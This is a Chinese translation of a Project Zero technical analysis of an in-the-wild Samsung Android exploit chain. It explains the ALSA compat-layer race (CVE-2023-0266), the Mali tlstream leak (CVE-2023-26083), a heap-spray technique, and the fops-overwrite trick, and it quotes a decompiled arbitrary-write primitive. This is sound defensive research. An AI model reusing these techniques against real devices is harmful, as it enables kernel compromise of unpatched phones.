分析一个现代野外Android漏洞利用

访问原始链接 Google 翻译

作者:Seth Jenkins,Project Zero

引言

2022年12月,谷歌威胁分析小组(TAG)发现了一个针对三星Android设备的野外利用链。TAG的博客文章介绍了攻击活动的目标和幕后攻击者。本文是对其中一个利用链最后阶段的技术分析,具体涉及CVE-2023-0266(ALSA兼容层中的0day漏洞)和CVE-2023-26083(Mali GPU驱动中的0day漏洞),以及攻击者用于获取内核任意读写权限的技术。

值得注意的是,该利用链的前几个阶段使用了多个n-day漏洞:

  • CVE-2022-4262,Chrome中的一个0day漏洞,在三星浏览器中被利用以实现RCE(远程代码执行)。
  • CVE-2022-3038,一个在三星浏览器中未修复的Chrome n-day漏洞,被用于逃逸三星浏览器沙箱。
  • CVE-2022-22706,一个Mali n-day漏洞,被用于获取更高级别的用户态权限。虽然Arm已于2022年1月修复了该漏洞,但在发现此利用链时,该补丁尚未被下游集成到三星设备中。

现在我们从攻击者以system_server身份获得执行权限后继续分析。

漏洞 #1:兼容层也有漏洞(CVE-2023-0266)

利用链继续利用了内核高级Linux声音架构(ALSA)驱动程序中的一个竞争条件漏洞,CVE-2023-0266。64位Android内核支持32位系统调用约定,以保持与32位程序和应用程序的兼容性。作为此兼容层的一部分,内核维护着将32位系统调用转换为64位内核代码可理解格式的代码。在许多情况下,支持此兼容层的代码只是简单地包装64位系统调用,没有额外的逻辑,但在某些情况下,重要的行为会在兼容层代码中重新实现。这种重复增加了出现漏洞的可能性,因为在进行重要更改时可能会忘记兼容层。

2017年,ALSA驱动程序进行了一次重构,将锁获取从snd_ctl_elem_{write|read}()函数中移出,并进一步上移到SNDRV_CTL_IOCTL_ELEM_{READ|WRITE} ioctl的调用图中。然而,这次提交只处理了64位ioctl代码,从而在32位兼容层SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}32 ioctl中引入了一个竞争条件。

32位和64位ioctl在调用snd_ctl_elem_{write|read}之前是不同的,因此当锁被上移到64位调用链时,它完全从32位ioctl中移除了。以下是重构后内核5.10.107上64位模式下SNDRV_CTL_IOCTL_ELEM_WRITE的代码路径:

snd_ctl_ioctl
snd_ctl_elem_write_user
[takes controls_rwsem]
snd_ctl_elem_write [lock properly held, all good]
[drops controls_rwsem]

而这是在32位模式下调用相同ioctl的代码路径:

snd_ctl_ioctl_compat
snd_ctl_elem_write_user_compat
ctl_elem_write_user
snd_ctl_elem_write [missing lock, not good]

这些缺失的锁允许攻击者竞态调用snd_ctl_elem_add和snd_ctl_elem_write_user_compat,导致snd_ctl_elem_write执行时使用了一个已释放的struct snd_kcontrol对象。32位SNDRV_CTL_IOCTL_ELEM_READ ioctl的行为与SNDRV_CTL_IOCTL_ELEM_WRITE ioctl非常相似,相同的漏洞导致了类似的利用原语。

2021年3月,上游提交1fa4445f9adf1将这些缺失的锁添加到了SNDRV_CTL_IOCTL_ELEM_WRITE32中,当时锁从snd_ctl_elem_write_user移回snd_ctl_elem_write,这原本被认为是一次无关紧要的重构。这个更改意外地修复了该漏洞的SNDRV_CTL_IOCTL_ELEM_WRITE32部分。然而,由于未识别其安全影响,此提交从未被反向移植或合并到Android内核中,因此能够在2022年12月在野外被利用。SNDRV_CTL_IOCTL_ELEM_READ32调用也一直未修复,直到2023年1月发现野外利用。

一种新的堆喷原语

大多数利用程序通过用攻击者控制的数据重新分配已释放对象所支持的虚拟内存来利用这种经典的UAF(释放后使用)条件,这个利用也不例外。有趣的是,尽管主要的内存损坏漏洞与设备使用的GPU无关,但攻击者使用了Mali GPU驱动程序功能来执行重新分配技术。通过创建许多受BASE_JD_REQ_SOFT_EVENT_WAIT控制的REQ_SOFT_JIT_FREE作业,攻击者可以利用kbase_jit_free_prepare中相关的kmalloc_array/copy_to_user调用来创建一个强大的堆喷技术——一个完全由攻击者控制、大小可变、时间上不确定且可控制释放的堆喷。这些堆喷技术并不常见但并非闻所未闻,并且确实存在其他堆喷策略,但至少其中一些(例如userfaultfd技术)受到SELinux策略和sysctl参数的缓解,尽管其他策略(例如AppFuse提供的等效技术)可能仍然存在。这使得这种新技术在Android设备上特别有效,因为许多这些堆喷策略都受到了缓解。

漏洞 #2:一个泄露信息的特性(CVE-2023-26083)

Mali提供了一个称为"timeline stream"、"tlstream"或"tl"的性能跟踪工具。该工具对非特权代码可用,跟踪整个系统中所有的GPU操作(包括其他进程的GPU操作),并在发送到用户空间的消息中使用内核指针作为对象标识符。这意味着通过生成引用包含攻击者控制数据的对象的tlstream事件,攻击者能够将16字节的控制数据放置在已知的内核地址。此外,攻击者可以利用此能力来击败KASLR(内核地址空间布局随机化),因为这些内核指针也会将内核地址空间的信息泄露回用户空间。此问题于2023年1月17日作为CVE-2023-26083报告给ARM,现已通过阻止对tlstream工具的非特权访问得到修复。

组合利用原语

上述堆喷用于重新分配snd_ctl_elem_write中不当释放的struct snd_kcontrol所支持的内存。然后,tlstream工具允许攻击者用指向攻击者控制数据的指针填充该内存。结合这两种能力,攻击者可以伪造高度详细的struct snd_kcontrol对象。snd_ctl_elem_write代码(以及struct snd_kcontrol定义)如下所示:

struct snd_kcontrol {
    struct list_head list;  /* list of controls */
    struct snd_ctl_elem_id id;
    unsigned int count;  /* count of same elements */
    snd_kcontrol_info_t *info;
    snd_kcontrol_get_t *get;
    snd_kcontrol_put_t *put;
    union {
        snd_kcontrol_tlv_rw_t *c;
        const unsigned int *p;
    } tlv;
    unsigned long private_value;
    void *private_data;
    void (*private_free)(struct snd_kcontrol *kcontrol);
    struct snd_kcontrol_volatile vd[]; /* volatile data */
};

...

static int snd_ctl_elem_write(struct snd_card *card, struct snd_ctl_file *file,
                  struct snd_ctl_elem_value *control)
{
    struct snd_kcontrol *kctl;
    struct snd_kcontrol_volatile *vd;
    unsigned int index_offset;
    int result;

    down_write(&card->controls_rwsem);
    kctl = snd_ctl_find_id(card, &control->id);
    if (kctl == NULL) {
        up_write(&card->controls_rwsem);
        return -ENOENT;
    }
    index_offset = snd_ctl_get_ioff(kctl, &control->id);
    vd = &kctl->vd[index_offset];
    if (!(vd->access & SNDRV_CTL_ELEM_ACCESS_WRITE) || kctl->put == NULL ||
        (file && vd->owner && vd->owner != file)) {
        up_write(&card->controls_rwsem);
        return -EPERM;
    }
    snd_ctl_build_ioff(&control->id, kctl, index_offset);
    result = snd_power_ref_and_wait(card);
    /* validate input values */
    ...
    if (!result)
        result = kctl->put(kctl, control);
    ... //Drop the locks and return
}

虽然此函数中有几个不同的选项可以利用攻击者控制的kctl,但最明显的是对kctl->put的调用。由于攻击者可以任意控制kctl->put函数指针,他们本可以立即使用此调用来获得对程序计数器的控制。但在这种情况下,他们选择将开发者预期的snd_ctl_elem_user_put函数指针存储在kctl->put成员中,并使用对该函数的调用来获得任意读写权限。默认情况下,snd_ctl_elem_user_put是snd_kcontrol结构体的put函数。snd_ctl_elem_user_put执行以下操作:

struct user_element {
    ...
    char *elem_data;  /* element data */
    unsigned long elem_data_size; /* size of element data in bytes */
    ...
};

static int snd_ctl_elem_user_put(struct snd_kcontrol *kcontrol,
                 struct snd_ctl_elem_value *ucontrol)
{
    int change;
    struct user_element *ue = kcontrol->private_data;
    unsigned int size = ue->elem_data_size;
    char *dst = ue->elem_data +
            snd_ctl_get_ioff(kcontrol, &ucontrol->id) * size;

    change = memcmp(&ucontrol->value, dst, size) != 0;
    if (change)
        memcpy(dst, &ucontrol->value, size);
    return change;
}

攻击者使用tlstream工具提供的(已知地址处的攻击者控制数据)原语来生成一个充当user_element结构体的分配。指向此结构体的指针随后被输入到kctl结构体作为private_data字段,使攻击者能够控制此函数中使用的struct user_element。memcpy调用的目标直接来自此user_element结构体,这意味着攻击者可以将目标设置为任意内核地址。由于设计上用作源的ucontrol->value直接来自用户空间,这直接导致将受控数据任意写入内核虚拟内存。

Linux内核VFS子系统回顾

这种写入是不可靠的,因为每次写入都严重依赖于竞态和堆喷才能成功。该利用通过使用这种原始的不可靠写入,创建了一个确定性的、高度可靠的任意读写。在Linux内核虚拟文件系统(VFS)架构中,每个struct file都带有一个struct file_operations成员,该成员定义了一组用于各种不同系统调用(如read、write、ioctl、mmap等)的函数指针。这些函数调用以特定类型的方式解释struct file的private_data成员。private_data通常是指向基于特定struct file的各种不同数据结构之一的指针。这两个成员,private_data和fops,都是在分配/创建struct file时填充到struct file中的,例如在open系列系统调用中发生。这个fops表可以作为miscdevice的一部分注册,用于/dev文件系统中的某些文件。例如/dev/ashmem,这是一个Android特定的共享内存API:

static const struct file_operations ashmem_fops = {
    .owner = THIS_MODULE,
    .open = ashmem_open,
    .release = ashmem_release,
    .read_iter = ashmem_read_iter,
    .llseek = ashmem_llseek,
    .mmap = ashmem_mmap,
    .unlocked_ioctl = ashmem_ioctl,
#ifdef CONFIG_COMPAT
    .compat_ioctl = compat_ashmem_ioctl,
#endif
};

static struct miscdevice ashmem_misc = {
    .minor = MISC_DYNAMIC_MINOR,
    .name = "ashmem",
    .fops = &ashmem_fops,
};

static int __init ashmem_init(void)
{
    int ret = -ENOMEM;
    ...
    ret = misc_register(&ashmem_misc);
    if (unlikely(ret)) {
        pr_err("failed to register misc device!\n");
        goto out_free2;
    }
    ...
}

正常情况下,预期的流程是当用户空间在/dev/ashmem上调用open时,会创建一个struct file,并将指向ashmem_fops表的指针填充到该结构体中。

稳定化任意写入

虽然fops表本身是只读的,但包含用于在打开/dev/ashmem期间填充未来struct file的指针的ashmem_misc数据结构不是。通过将ashmem_misc.fops替换为指向伪造的file_operations结构体的指针,攻击者可以控制将来通过open("/dev/ashmem")创建的文件所使用的file_operations。这需要在内核内存中伪造一个替换的ashmem_fops file_operations表,以便未来的任意写入可以将指向该file_operations表的指针写入ashmem_misc结构中。虽然前面解释的Mali tlstream“已知内核地址处的受控数据”原语(CVE-2023-26083)正好提供了这种能力,但为通过tlstream读取而分配的对象只提供16字节的攻击者控制数据——不足以伪造完整的file_operations表。相反,该利用使用其初始的任意写入在内核的.data部分内构建一个新的伪造fops表。该利用写入init_uts_ns内核符号,特别是保存内核uname的相关结构部分。覆盖此结构中的数据提供了一个清晰的指标,表明何时赢得了竞态条件且任意写入成功(uname系统调用返回与之前不同的数据)。

一旦他们的伪造file_operations表被伪造完成,他们再次使用其任意写入将指向此表的指针放入ashmem_misc结构中。这个伪造的file_operations结构体因设备而异,但在三星S10上看起来像这样:

static const struct file_operations ashmem_fops = {
    .open = ashmem_open,
    .release = ashmem_release,
    .read = configfs_read_file
    .write = configfs_write_file
    .llseek = default_llseek,
    .mmap = ashmem_mmap,
    .unlocked_ioctl = ashmem_ioctl,
#ifdef CONFIG_COMPAT
    .compat_ioctl = compat_ashmem_ioctl,
#endif
};

请注意,VFS读写操作已被更改为指向configfs处理程序。configfs文件操作与ashmem文件操作的结合导致了攻击者诱导的struct file中private_data对象的类型混淆。对这些处理程序的分析揭示了易于到达的copy_[to/from]_user调用,其内核指针来自struct file的private_data后备存储:

static int
fill_write_buffer(struct configfs_buffer * buffer, const char __user * buf, size_t count)
{
    ...
    if (count >= SIMPLE_ATTR_SIZE)
        count = SIMPLE_ATTR_SIZE - 1;
    error = copy_from_user(buffer->page,buf,count);
    buffer->needs_read_fill = 1;
    buffer->page[count] = 0;
    return error ? -EFAULT : count;
}

...

static ssize_t
configfs_write_file(struct file *file, const char __user *buf, size_t count, loff_t *ppos)
{
    struct configfs_buffer * buffer = file->private_data;
    ssize_t len;

    mutex_lock(&buffer->mutex);
    len = fill_write_buffer(buffer, buf, count);
    if (len > 0)
        len = flush_write_buffer(file->f_path.dentry, buffer, len);
    if (len > 0)
        *ppos += len;
    mutex_unlock(&buffer->mutex);
    return len;
}

private_data后备存储本身随后可以被攻击者使用ashmem ioctl命令ASHMEM_SET_NAME修改,以更改用于任意读写原语的内核指针。最终的任意写入原语(例如)如下所示:

int arb_write(unsigned long dst, const void *src, size_t size)
{
    __int64 page_offset; // x8
    __int128 v5; // q0
    __int64 neg_idx; // x24
    void *data_to_write; // x21
    char tmp_name_buffer[256]; // [xsp+0h] [xbp-260h] BYREF
    char name_buffer[256]; // [xsp+100h] [xbp-160h] BYREF
    char v13; // [xsp+200h] [xbp-60h]
    ...
    memset(tmp_name_buffer, 0, sizeof(tmp_name_buffer));
    page_offset = *(_QWORD *)(*(_QWORD *)(qword_898840 + 24) + 1056LL);
    if ( (page_offset & 0x8000000000000000LL) == 0 )
    {
        while ( 1 )
        ;
    }
    //dst是我们要写入的内核地址
    *(_QWORD *)&tmp_name_buffer[(int)page_offset] = dst;
    neg_idx = 0;
    memset(name_buffer,'C',sizeof(name_buffer));
    //他们必须做这个反向while循环,以便可以将空值写入名称缓冲区
    while (1)
    {
        name_buffer[neg_idx + 244] = tmp_name_buffer[neg_idx + 255];
        if ( (ioctl(ashmem_fd, ASHMEM_SET_NAME, name_buffer) < 0)
            break;
        if ( --neg_idx == -245 )
        {
            //此时,由于ASHMEM_SET_NAME调用,configfs_write_file中使用的->page将被设置
            if ( (lseek(ashmem_fd, 0LL, 0) >= 0)
            {
                data_to_write = (void *)(mmap_page - size + 4096);
                memcpy(data_to_write, src, size);
                //这将导致EFAULT,因为故意在页面上不对齐,以确保复制正确的字节数
                write(ashmem_fd, data_to_write, size + 1);
                return 0;
            }
            return -1;
        }
    }
    return -1;
}

任意读取原语与任意写入原语代码几乎相同,但他们不使用write(2),而是使用从ashmem_fd的read(2)将数据从内核读取到用户空间。

结论

这个利用链提供了一个现实世界的例子,展示了我们认为现代野外Android利用的样子。该利用链初始阶段(本文未详细描述)的一个早期背景主题是依赖n-day来绕过最困难的安全边界。依赖下游供应商的补丁反向移植导致了一个脆弱的生态系统,其中一个被遗漏的错误修复就可能导致最终用户设备上的高影响漏洞。这些漏洞在下游代码库中的保留抵消了安全研究界和更广泛的开发社区为发现漏洞和开发广泛使用软件的补丁所做的努力。如果供应商认真考虑能够更快、更可靠地将补丁传播到下游设备的高效方法,将极大地提高这些最终用户的安全性。

特别值得注意的是,这个攻击者使用来自内核GPU驱动程序的多个漏洞创建了一个利用链。这些第三方Android驱动程序具有不同程度的代码质量和维护规律性,这为攻击者提供了一个显著的机会。我们还看到了Linux内核32位兼容层带来的风险,特别是当需要在多个地方重新实现相同的补丁时。这一要求使得修补更加复杂且容易出错,因此供应商和内核代码编写者必须继续保持警惕,以确保32位兼容层在未来尽可能少地出现安全问题。

2023年10月6日更新:本文经过编辑,以反映CVE-2022-4262在该链被发现时是Chrome 0day,而非之前所述的n-day。